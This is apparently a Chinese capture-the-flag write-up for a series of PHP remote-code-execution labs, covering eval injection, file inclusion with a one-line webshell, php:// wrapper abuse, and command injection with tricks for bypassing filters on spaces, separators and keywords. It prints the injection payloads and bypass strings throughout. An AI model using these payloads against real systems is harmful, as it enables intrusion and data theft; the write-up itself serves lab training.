目录
题目
0x01 eval执行
启动环境后可以看到页面上已经给出了源代码。
<?php
if (isset($_REQUEST['cmd'])) {
eval($_REQUEST["cmd"]);
} else {
highlight_file(__FILE__);
}
?>
在php中$_REQUEST
可以获取以POST方法和GET方法提交的数据,在这里为了方便就使用GET方法向页面提交payload。
构造url/?cmd=system(" ");
可以执行我们想要执行的代码。依次输入url/?cmd=system("ls");
、url/?cmd=system("ls ../");
、url/?cmd=system("ls ../../");
、url/?cmd=system("ls ../../../");
可以在../../../
目录下找到一个看起来就是目标的东西。
接着输入url/?cmd=system("cat ../../../flag_31776");
即可获得flag。
0x02 文件包含
<?php
error_reporting(0);
if (isset($_GET['file'])) {
if (!strpos($_GET["file"], "flag")) {
include $_GET["file"];
} else {
echo "Hacker!!!";
}
} else {
highlight_file(__FILE__);
}
?>
根据代码,构造url/?file=
可以将文件内容包含到页面内。同时题目给了一个shell.txt
,其内容为一句话木马。
<?php eval($_REQUEST['ctfhub']);?>
将shell.txt
文件包含进页面中即可让其中中的php代码被执行。同时,使用hackbar
或burpsuite
向页面传递post请求。
0x03 php://input
<?php
if (isset($_GET['file'])) {
if ( substr($_GET["file"], 0, 6) === "php://" ) {
include($_GET["file"]);
} else {
echo "Hacker!!!";
}
} else {
highlight_file(__FILE__);
}
?>
看到构造的url的开头只能为?file=php://
,那么可以考虑使用php://input
伪协议。
php://input是一个只读信息流,当请求方式是post的,并且enctype不等于”multipart/form-data”时,可以使用php://input来获取原始请求的数据。
php://input
伪协议可以执行php代码,因此可以构造包含php代码的post请求包来执行想要执行的命令。
这题不知道发生了甚么事,不能用hackbar。不能用就不能用吧
0x04 读取源代码
<?php
error_reporting(E_ALL);
if (isset($_GET['file'])) {
if ( substr($_GET["file"], 0, 6) === "php://" ) {
include($_GET["file"]);
} else {
echo "Hacker!!!";
}
} else {
highlight_file(__FILE__);
}
?>
这题用不了php://input
,应该是不满足使用的条件。因此可以使用php://input
的好兄弟php://filter
。同时,题目也给出了flag所在的路径。构造url/?file=php://filter/resource=/flag
即可获得flag。
0x05 远程包含
<?php
error_reporting(0);
if (isset($_GET['file'])) {
if (!strpos($_GET["file"], "flag")) {
include $_GET["file"];
} else {
echo "Hacker!!!";
}
} else {
highlight_file(__FILE__);
}
?>
本题的正统方法应该是包含一个网络上的文件来达到和文件包含类似的效果,不过我没有自己的服务器,也没想出来咋通过操作包含进来一个文件。
尝试将文件包含题目的shell.txt包含进来但是貌似失败了。
不过没关系,这题使用php://input
同样可以做出来。
0x06 命令注入
使用管道符即可执行任意我们想要执行的命令。输入1|ls
即可查看目录文件。
随后使用cat命令即可查看文件内容。需要注意的是flag被隐藏在源代码注释中,需要查看源代码才能看到。
0x07 过滤cat
当cat
被过滤时,可以使用ca\t
绕过,也可以使用其他命令代替cat
。
more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容
0x08 过滤空格
可以使用$IFS
、${IFS}
、$IFS$9
、%09
等代替空格。
0x09 过滤目录分隔符
127.0.0.1;cd flag_is_here;ls
127.0.0.1;cd flag_is_here;cat flag_xxx.php
即可找到flag。
0x0A 过滤运算符
过滤了/(\||\&)/
,可以使用;
进行绕过。
输入1;cat flag_xxx.php
即可。
0x0B 综合过滤练习
过滤了/(\||&|;| |\/|cat|flag|ctfhub)/
,可以使用变量进行命令拼接。因为过滤的东西太多,这次直接在url里构造。
127.0.0.1%0aa=l%0ab=s%0a$a$b
127.0.0.1%0aa=l%0ab=s%0ac=fl%0ad=ag_is_here%0a$a$b${IFS}$c$d
127.0.0.1%0aa=c%0ab=d%0ac=fl%0ad=ag_is_here%0ae=ca%0af=t%0ag=fl%0ah=ag_xxx.php%0a$a$b${IFS}$c$d%0a$e$f${IFS}$g$h
参考资料
CTF随笔-RCE入门
《从0到1:CTFer成长之路》
《Web安全攻防:渗透测试实战指南》